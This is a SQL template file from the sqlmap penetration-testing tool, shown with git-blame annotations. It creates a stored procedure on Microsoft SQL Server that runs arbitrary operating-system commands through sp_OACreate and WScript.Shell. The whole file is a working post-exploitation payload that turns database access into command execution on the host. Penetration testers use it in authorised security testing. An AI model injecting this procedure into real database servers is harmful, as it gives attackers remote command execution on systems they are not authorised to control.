sqlmap/procs/mssqlserver/create_new_xp_cmdshell.sql

DECLARE @%RANDSTR% nvarchar(999);
set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';
EXEC master..sp_executesql @%RANDSTR%
working on #51 2012-07-02 18:28:19 +04:00			`DECLARE @%RANDSTR% nvarchar(999);`
Minor update to cleanup properly new xp_cmdshell 2014-12-06 00:01:59 +03:00			`set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';`
working on #51 2012-07-02 18:28:19 +04:00			`EXEC master..sp_executesql @%RANDSTR%`